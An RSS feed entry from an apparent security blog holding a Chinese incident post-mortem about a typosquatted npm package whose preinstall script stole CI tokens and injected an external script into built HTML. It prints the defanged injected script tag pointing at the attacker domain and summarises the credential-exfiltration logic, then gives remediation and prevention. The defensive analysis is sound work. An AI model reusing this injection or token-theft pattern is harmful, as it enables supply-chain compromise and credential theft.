<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>供应链投毒 on Zero Day Notes</title>
        <link>https://blog.5772447.xyz/tags/%E4%BE%9B%E5%BA%94%E9%93%BE%E6%8A%95%E6%AF%92/</link>
        <description>Recent content in 供应链投毒 on Zero Day Notes</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>zh</language>
        <lastBuildDate>Sun, 19 Jul 2026 07:00:00 +0800</lastBuildDate><atom:link href="https://blog.5772447.xyz/tags/%E4%BE%9B%E5%BA%94%E9%93%BE%E6%8A%95%E6%AF%92/index.xml" rel="self" type="application/rss+xml" /><item>
            <title>记一次 npm 开源依赖投毒导致 CI 构建产物被植入后门的排查</title>
            <link>https://blog.5772447.xyz/posts/fd39f333/</link>
            <pubDate>Sun, 19 Jul 2026 07:00:00 +0800</pubDate>
            <guid>https://blog.5772447.xyz/posts/fd39f333/</guid>
            <description>&lt;h2 id=&#34;一问题背景&#34;&gt;&lt;a href=&#34;#%e4%b8%80%e9%97%ae%e9%a2%98%e8%83%8c%e6%99%af&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;一、问题背景&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;我们前端项目用 npm 管理依赖，发布走一条 GitLab CI 流水线：&lt;code&gt;npm install&lt;/code&gt; → &lt;code&gt;webpack build&lt;/code&gt; → 产物推 CDN。团队一直以为&amp;quot;依赖是开源社区维护的、可信&amp;quot;，CI 节点直连公网 npm 源，没有私有代理，也没有锁死间接依赖的硬性约束——&lt;code&gt;package-lock.json&lt;/code&gt; 虽在，但合并冲突时常被简单&amp;quot;解决&amp;quot;掉，&lt;code&gt;npm install&lt;/code&gt; 时仍允许解析浮动。&lt;/p&gt;&#xA;&lt;p&gt;某天上午，安全组在例行文件完整性扫描（FIM）里发现，CDN 上几个静态 HTML 入口文件尾部多出了一段不属于我们的外联脚本；与此同时，EDR 在构建节点上抓到一票发往陌生公网 IP 的 HTTPS 出站连接。两条线索指向同一处：构建流水线本身被&amp;quot;污染&amp;quot;了。&lt;/p&gt;&#xA;&lt;h2 id=&#34;二故障现象&#34;&gt;&lt;a href=&#34;#%e4%ba%8c%e6%95%85%e9%9a%9c%e7%8e%b0%e8%b1%a1&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;二、故障现象&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;最直观的告警来自 CDN 侧。安全扫描比对线上页面与源码仓库，发现生产 HTML 末尾被插入了一行：&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&#xA;&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;&#xA;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;1&#xA;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#xA;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;&#xA;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;src&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://cdn-metric-tech[.]top/analytics.js&amp;#34;&lt;/span&gt;&amp;gt;&amp;lt;/&lt;span style=&#34;color:#f92672&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&lt;p&gt;源码仓库里没有这段，说明注入发生在&amp;quot;源码 → 产物&amp;quot;之间，也就是 CI 的 install 或 build 阶段。更可疑的是，EDR 在同一构建节点上多次捕获到进程向 &lt;code&gt;cdn-metric-tech[.]top&lt;/code&gt; 及一个 C2 域名发起 HTTPS 连接，伴随 &lt;code&gt;npm&lt;/code&gt; 进程退出后的短暂 CPU 抖动。&lt;/p&gt;&#xA;&lt;p&gt;我们第一时间怀疑源码仓库被改，但 &lt;code&gt;git log&lt;/code&gt; 干净；又怀疑构建节点本身中马（像之前的 cron 后门），于是重装了构建机镜像，结果下一轮 &lt;code&gt;npm install&lt;/code&gt; 后，后门&lt;strong&gt;又出现了&lt;/strong&gt;。这基本排除了&amp;quot;节点被持久化&amp;quot;，把嫌疑锁死在&amp;quot;每次 install 都会触发的某个东西&amp;quot;——也就是依赖本身。&lt;/p&gt;&#xA;&lt;h2 id=&#34;三排查过程&#34;&gt;&lt;a href=&#34;#%e4%b8%89%e6%8e%92%e6%9f%a5%e8%bf%87%e7%a8%8b&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;三、排查过程&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;第一步，从产物差异反推注入点。&lt;/strong&gt; 用干净的源码重新跑 &lt;code&gt;webpack build&lt;/code&gt;（跳过 install，复用已缓存的 &lt;code&gt;node_modules&lt;/code&gt;），产物里&lt;strong&gt;没有&lt;/strong&gt;那段外联脚本；但只要重新 &lt;code&gt;npm install&lt;/code&gt;，再 build，后门就回来。于是确定：注入不在 webpack，而在 install 阶段被某个依赖的 &lt;code&gt;postinstall&lt;/code&gt;/&lt;code&gt;preinstall&lt;/code&gt; 生命周期脚本完成。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;第二步，盯 install 日志。&lt;/strong&gt; 重新 install 时加 &lt;code&gt;--verbose&lt;/code&gt;，注意到一条不寻常的输出：&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&#xA;&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;&#xA;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;1&#xA;&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;2&#xA;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#xA;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;&#xA;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-fallback&#34; data-lang=&#34;fallback&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; malformed-utils@1.2.4 preinstall /build/node_modules/malformed-utils&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;gt; node preinstall.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&lt;p&gt;&lt;code&gt;malformed-utils&lt;/code&gt; 这个名字眼生——我们项目里用的是 &lt;code&gt;lodash&lt;/code&gt;、&lt;code&gt;dayjs&lt;/code&gt; 这类，从没直接依赖过它。去 &lt;code&gt;package-lock.json&lt;/code&gt; 里一查，它是某业务组件库的&lt;strong&gt;间接依赖&lt;/strong&gt;，而且版本是 &lt;code&gt;1.2.4&lt;/code&gt;，而 npm 上同名的&amp;quot;正常&amp;quot;版本停在 &lt;code&gt;1.1.0&lt;/code&gt;。版本号反常地高，且发布时间就在出事前两天——典型的 typosquatting（抢注形近包名）+ 高版本抢优先解析。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;第三步，解剖恶意包。&lt;/strong&gt; 把 tarball 拉下来解包：&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&#xA;&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;&#xA;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;1&#xA;&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;2&#xA;&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f&#34;&gt;3&#xA;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#xA;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;&#xA;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;npm pack malformed-utils@1.2.4&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tar -xzf malformed-utils-1.2.4.tgz&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat package/package.json   &lt;span style=&#34;color:#75715e&#34;&gt;# 看到 &amp;#34;preinstall&amp;#34;: &amp;#34;node preinstall.js&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&lt;p&gt;&lt;code&gt;preinstall.js&lt;/code&gt; 是混淆后的代码，反混淆后逻辑清晰：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;读取环境变量与 &lt;code&gt;.npmrc&lt;/code&gt;，收集 &lt;code&gt;CI_TOKEN&lt;/code&gt;、&lt;code&gt;NPM_TOKEN&lt;/code&gt;、&lt;code&gt;GITLAB_TOKEN&lt;/code&gt; 等敏感凭据；&lt;/li&gt;&#xA;&lt;li&gt;把凭据 POST 到 C2（&lt;code&gt;cdn-metric-tech[.]top/api/collect&lt;/code&gt;）；&lt;/li&gt;&#xA;&lt;li&gt;找到构建输出目录（通过 &lt;code&gt;process.env.OUTPUT_DIR&lt;/code&gt; 或遍历 &lt;code&gt;dist/&lt;/code&gt;），在 HTML/入口 JS 里注入外联脚本，实现&amp;quot;产物后门&amp;quot;；&lt;/li&gt;&#xA;&lt;li&gt;完成后自我清理临时文件，降低痕迹。&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;第四步，还原影响面。&lt;/strong&gt; 确认该恶意包是在一次依赖升级（某组件库小版本更新，其间接依赖树把 &lt;code&gt;malformed-utils&lt;/code&gt; 拉了进来）时被引入；CI 节点因为 &lt;code&gt;npm install&lt;/code&gt; 允许间接依赖解析浮动，直接装到了投毒的高版本。已泄露的包括构建机上的 NPM token 和 GitLab CI token——攻击者理论上能用它们发版、读仓库。&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;第五步，固定证据。&lt;/strong&gt; 保存了恶意 tarball、被注入产物的 diff、EDR 出站连接日志、C2 域名，作为后续复盘与威胁情报上报材料。&lt;/p&gt;&#xA;&lt;h2 id=&#34;四解决方案&#34;&gt;&lt;a href=&#34;#%e5%9b%9b%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;四、解决方案&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;分钟级止血：&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;立即在 npm / GitLab 后台&lt;strong&gt;吊销所有 CI token、NPM token&lt;/strong&gt;，让泄露凭据失效；&lt;/li&gt;&#xA;&lt;li&gt;隔离当前构建节点，从受信基线镜像&lt;strong&gt;重建&lt;/strong&gt;，清除内存里残留的进程与可疑文件；&lt;/li&gt;&#xA;&lt;li&gt;在 CI 里临时把安装源切到私有缓存（不含该包的旧快照），先恢复日常发布能力。&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;小时级清除：&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;从 &lt;code&gt;package.json&lt;/code&gt; 与 &lt;code&gt;package-lock.json&lt;/code&gt; 中&lt;strong&gt;彻底移除 &lt;code&gt;malformed-utils&lt;/code&gt;&lt;/strong&gt;，重写 lockfile，强制用 &lt;code&gt;npm ci&lt;/code&gt;（严格按 lock 安装、禁止版本浮动）；&lt;/li&gt;&#xA;&lt;li&gt;全量重新发布 CDN 资源——用干净源码重新 build，覆盖掉被注入外联脚本的线上文件；&lt;/li&gt;&#xA;&lt;li&gt;排查所有仓库是否有同一间接依赖，批量清理并重新生成 SBOM。&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;当天加固：&lt;/strong&gt; 搭建 Nexus/Verdaccio 私有代理，只允许白名单 scope 内的包从公网同步，构建机网络层面禁止直连 &lt;code&gt;registry.npmjs.org&lt;/code&gt;。&lt;/p&gt;&#xA;&lt;h2 id=&#34;五根因分析&#34;&gt;&lt;a href=&#34;#%e4%ba%94%e6%a0%b9%e5%9b%a0%e5%88%86%e6%9e%90&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;五、根因分析&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;根因不在&amp;quot;某个具体包坏了&amp;quot;，而在&lt;strong&gt;对软件供应链的信任被无约束地放行&lt;/strong&gt;：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;CI 节点直连公网 npm，&lt;code&gt;npm install&lt;/code&gt; 允许间接依赖版本解析浮动，攻击者用高版本形近包抢走优先解析权；&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;package-lock.json&lt;/code&gt; 未被强制锁定（合并冲突被草率&amp;quot;解决&amp;quot;、CI 用 &lt;code&gt;npm install&lt;/code&gt; 而非 &lt;code&gt;npm ci&lt;/code&gt;），失去&amp;quot;依赖指纹&amp;quot;这道防线；&lt;/li&gt;&#xA;&lt;li&gt;缺少依赖完整性校验：没有 SBOM、没有 &lt;code&gt;npm audit&lt;/code&gt;/签名校验，投毒包能悄无声息混进构建；&lt;/li&gt;&#xA;&lt;li&gt;构建节点持有长期静态 token 且权限过大，一旦凭据在 install 阶段被读取即全面失守。&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;本质是：我们把&amp;quot;开源社区的可信&amp;quot;当成了&amp;quot;无需管控的可信&amp;quot;，在信任链上留了多个无人把守的口子。&lt;/p&gt;&#xA;&lt;h2 id=&#34;六预防措施&#34;&gt;&lt;a href=&#34;#%e5%85%ad%e9%a2%84%e9%98%b2%e6%8e%aa%e6%96%bd&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;六、预防措施&#xD;&#xA;&lt;/h2&gt;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;锁死依赖&lt;/strong&gt;：CI 强制 &lt;code&gt;npm ci&lt;/code&gt;（或 pnpm/yarn 的等价严格模式），禁止 &lt;code&gt;npm install&lt;/code&gt; 浮动解析；&lt;code&gt;package-lock.json&lt;/code&gt; 纳入 code review，合并冲突不得草率覆盖。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;控来源&lt;/strong&gt;：构建机经私有代理（Nexus/Verdaccio）拉包，开启允许列表（allowlist）+ 镜像同步；网络层禁止构建机直连公网 npm 源。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;校验完整性&lt;/strong&gt;：发布前生成 SBOM（CycloneDX），并启用 &lt;code&gt;npm audit&lt;/code&gt; / &lt;code&gt;osv-scanner&lt;/code&gt; / &lt;code&gt;pip-audit&lt;/code&gt; 在 CI 阶段&lt;strong&gt;阻断高危依赖&lt;/strong&gt;；对关键依赖启用 npm attestations / Sigstore 签名验证。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;最小权限&lt;/strong&gt;：构建节点的凭据用 OIDC 短时效令牌，禁止长期静态 token；CI token 仅授予&amp;quot;发布必要仓库&amp;quot;的最小 scope。&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;运行时监控&lt;/strong&gt;：在构建产物目录部署文件完整性监控（FIM），对 HTML/JS 的异常外联引用、构建机异常出站连接即时告警；建立&amp;quot;源码 vs 产物&amp;quot;的差异比对基线。&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;七总结&#34;&gt;&lt;a href=&#34;#%e4%b8%83%e6%80%bb%e7%bb%93&#34; class=&#34;header-anchor&#34;&gt;&lt;/a&gt;七、总结&#xD;&#xA;&lt;/h2&gt;&lt;p&gt;这次事件里，攻击者没有攻破任何服务器，只是&amp;quot;借用开发者信任链&amp;quot;：用一个形近的高版本包，在每次 &lt;code&gt;npm install&lt;/code&gt; 时堂而皇之地跑起 &lt;code&gt;preinstall&lt;/code&gt; 脚本，顺手牵走 token、给产物埋雷。供应链投毒是典型的高杠杆、低成本攻击——你信任的，恰恰是它利用的。&lt;/p&gt;&#xA;&lt;p&gt;防御的核心就四句话：&lt;strong&gt;锁依赖（npm ci + 锁 lockfile）、控来源（私有代理 + 白名单）、校验完整性（SBOM + audit + 签名）、最小权限（短时效 token + 产物 FIM）&lt;/strong&gt;。把公网包从&amp;quot;无条件信任&amp;quot;变成&amp;quot;受控、可审计的依赖&amp;quot;，这类&amp;quot;安装即中招&amp;quot;的事故就能从根上断掉。&lt;/p&gt;&#xA;</description>
        </item></channel>
</rss>
